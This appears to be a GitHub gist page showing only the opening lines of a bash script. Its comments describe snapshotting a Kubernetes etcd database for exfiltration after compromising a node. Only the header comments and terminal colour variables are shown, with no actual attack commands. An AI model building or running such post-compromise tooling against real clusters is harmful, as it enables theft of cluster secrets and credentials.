This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This script attempts to take a snapshot of the kubernetes etcd database for exfiltration | |
# This should be run post-compromise of a node | |
#!/usr/bin/env bash | |
NOCOLOR=$(tput sgr0) | |
RED=$(tput setaf 1) | |
GREEN=$(tput setaf 2) | |
BLUE=$(tput setaf 4) | |
YELLOW=$(tput setaf 3) | |
TICK="$NOCOLOR[$GREEN+$NOCOLOR] " |
OlderNewer